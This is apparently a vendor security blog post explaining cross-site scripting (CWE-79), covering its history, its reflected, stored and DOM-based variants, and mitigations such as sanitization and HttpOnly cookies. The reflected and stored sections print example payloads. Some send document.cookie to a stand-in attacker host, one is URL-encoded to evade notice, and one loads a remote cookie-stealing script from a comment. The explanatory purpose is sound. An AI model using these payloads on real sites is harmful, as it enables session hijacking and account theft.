The advent of JavaScript has taken client-side scripting to new highs. The ability to create snappy, more interactive, and less backend-intensive apps has understandably led app developers to embrace client-side scripting. However, this dependency on the browser can be dangerous without proper precautions. While most modern frameworks like React and Angular offer some form of sanitization, there’s always a threat of evolving vulnerabilities.

CWE-79, or cross-site scripting (XSS), is one such vulnerability that breeds on a browser. XSS attacks target sites that dynamically generate web pages with user-inputted content. An attacker tricks the browser to misinterpret malicious code as user input.

RELATED: How SCA Helps Manage OSS Vulnerabilities | Log4J: What Happened and How to Fix It

What Is CWE-79?

CWE-79 refers to cross-site scripting (XSS) attacks that inject malicious code into a target app. The target app relies on the browsers to generate a webpage, typically involving user input. If the app fails to sanitize user inputs before it’s executed by the browser, it is vulnerable to an XSS attack. The payload could come from a socially engineered link, a victimized app database, or a manipulated DOM. Ideally, this kind of behavior should be filtered out by the same-origin policy — protocol, host, and port validation — built into the browsers. But, in the absence of proper sanitization, XSS attacks are designed to beat this security protocol.

The breadth of an XSS attack is wide-ranging and includes just about anything that can be done with JavaScript. This means attackers can target a site, a particular user, or all users of a target site.

Depending on the goals of the attackers, XSS attacks can be deployed in multiple vectors. A signature XSS attack impersonates a victim’s identity to perform stealthy read or write operations on a vulnerable app. Or, a user might unwittingly land on a malicious website, click on an email link, or submit a form on a compromised site. An example of social engineering would be back in the MySpace days when someone would convince you to paste a code snippet on your profile, which would unknowingly steal your password and send it off to whoever wrote the snippet.

Unfortunately, cross-site scripting attacks occur quite often. According to data in FOSSA’s State of Open Source Vulnerabilities report, cross-site scripting was the most commonly found CWE in 2020. Its prevalence demonstrates how easy it is to make these kinds of errors and how important it is for developers to be mindful of sanitation and input validation as they build their applications.

History of CWE-79: Cross-Site Scripting

The earliest instances of XSS attacks date back to late 1999 when a couple of Microsoft engineers observed a pattern of mismatched site data. A few script tags were injected into unrelated HTML pages. The engineers determined the attackers manipulated the browser to execute malicious code; the trigger mechanism was when a user took an action (like submitting a form or clicking a link).

In 2000, the engineers officially acknowledged their findings in a public document. This was the first time the name XSS was used to describe the vulnerability. In the years to follow, this type of XSS attack was categorized as type 1, or reflected XSS. At least two other distinct cross-site scripting types evolved over time — stored (type 2) and DOM-based (type 0). We’ll explain each type of CWE-79 attack in the next section, but, in short, the distinction is mainly based on the source of the payload.

Types of CWE-79 Attacks

An XSS attack can be fine-tuned at the will of an attacker. While there are many different ways to exploit CWE-79, they are categorized into three distinct types: reflected, stored, and DOM-based.

If a malicious payload exists as part of a web request itself, it is called a reflected/non-persistent XSS attack. If the source of the malicious payload is stored/persisted by the application (i.e. in a database), it’s called a stored or persistent XSS attack. Finally there are DOM-based attacks, which target client-side scripts which read and write data from the DOM, exploiting the inner workings of the page rendering process.

Reflected XSS

In a reflected XSS attack, browsers execute unsanitized user input resulting in a corrupt web page. This could be a dashboard that greets the user by their name as they enter it.

http://victimsite.com/awesomeuser

If a user enters an executable script as their name, the browser will still execute it as if the script existed in the site’s original HTML.

http://victimsite.com/awesomeuser <script>alert("You've been hacked!");</script>

This simple attack may not look so threatening on the surface. However, attackers can increase the severity by doing much more than just showing a funny alert. A cookie theft, for example, can be achieved by defying various detection mechanisms. Let’s say the attacker wants to send cookies to their server. They may use something like:

http://victimsite.com/awesomeuser document.write('<img src="http://attackerserver.com/invalid.png?cookie=' + document.cookie + '" />')

They can confuse a seemingly smart user by URL encoding to make it look like gibberish.

document.write%28%27%3Cimg+src%3D%22http%3A%2F%2Fattackerserver.com%2Finvalid.gif%3Fcookie%3D%27+%2B+document.cookie+%2B+%27%22+%2F%3E%27%29

If they want to be more stealthy, they can simply use the following to avoid write detection.

http://victimsite.com/awesomeuser <img src="http://attackerserver.com/"+document.cookie>

Don’t forget about link shorteners, which attackers can use to avoid all such problems. Consider this link: https://bit.ly/3vLIEd2. While this link doesn’t actually contain a malicious payload, as a reader, you’d have no idea the full URL that this would resolve to.

Stored XSS

This variant of cross-site scripting attack can be more damaging for its victims. It occurs when the attacker stores the payload on a victim app. Each time that app is loaded, the payload is executed. In many cases, it's a hidden script tag that would not be visible to the user. For example, consider an app with a commentable page hosting a popular video. This page attracts millions of visitors each month, and no one can keep up with the comments. The attacker can leave a comment with something like the following.

I love this video <script src="http://attackerserver.com/steal_visitor_cookies.js"> </script>

This comment will execute the attacker’s JS that is designed to store visitors’ cookies. Unlike reflected XSS, this type of attack only requires the users to visit an infected site.

DOM-Based XSS

DOM-based XSS attacks do not require any server interaction. Attacker-controlled DOM sources are used to pass the payload to the sinks. These sinks then execute the malicious code. Essentially, the sources and sinks mimic the function of input and output. The attacker leverages sources and sinks just like they do HTTP requests in a reflected XSS.

Regardless of the type, XSS attacks violate the authority of an app. What makes XSS attacks extremely dangerous is the simplicity of their implementation. In addition to the examples demonstrated above, they can be used to fully compromise user accounts, deface a reputable site, or install a trojan horse program. Event-based JS can make it even smoother for the attackers. They can fire without the user lifting a finger. Often, the server-side detection fails because stand-alone execution on the front end makes it virtually impossible. Even static sites that have nothing to do with servers are susceptible to DOM-based XSS attacks.

How to Protect Against CWE-79

This multifaceted beast needs multi-level mitigation efforts. Start by creating awareness of this issue across your team, take the proper precautions at the development level, double-check that user inputted data is being sanitized, and continue to actively monitor your application for potential security holes.

  • Create Awareness: Even though cross-site scripting attacks have existed for many years, there is still a lack of awareness in the developer community. The confusing classification of variants and a ton of attack vectors doesn’t help. A solid grasp of attacker methods will bolster defenses against  XSS attacks.
  • Sanitize: If all user input is neutralized, you can beat XSS at its own game. You can programmatically escape user-entered HTML content or use a neutralizing tool. It’s also wise to use a modern framework like React, and/or ensure that the framework you use is not susceptible to XSS attacks.
  • Implement prudent security policies: Wherever possible, avoid HTML in inputs. Limit user inputs to only alphanumeric values and prime the servers to only accept those. Protect cookies with the HTTPonly flags.
  • Conduct vulnerability scanning: Software composition analysis tools like FOSSA Security Management scan and flag vulnerable packages, enabling teams to surface and remediate vulnerabilities in their open source code.
  • Use WAFs: A legacy firewall fails miserably in handling XSS attacks. A web application firewall, on the other hand, provides stronger protection.

For more information on how FOSSA can help your organization address vulnerabilities like CWE-79, get in touch with our team today.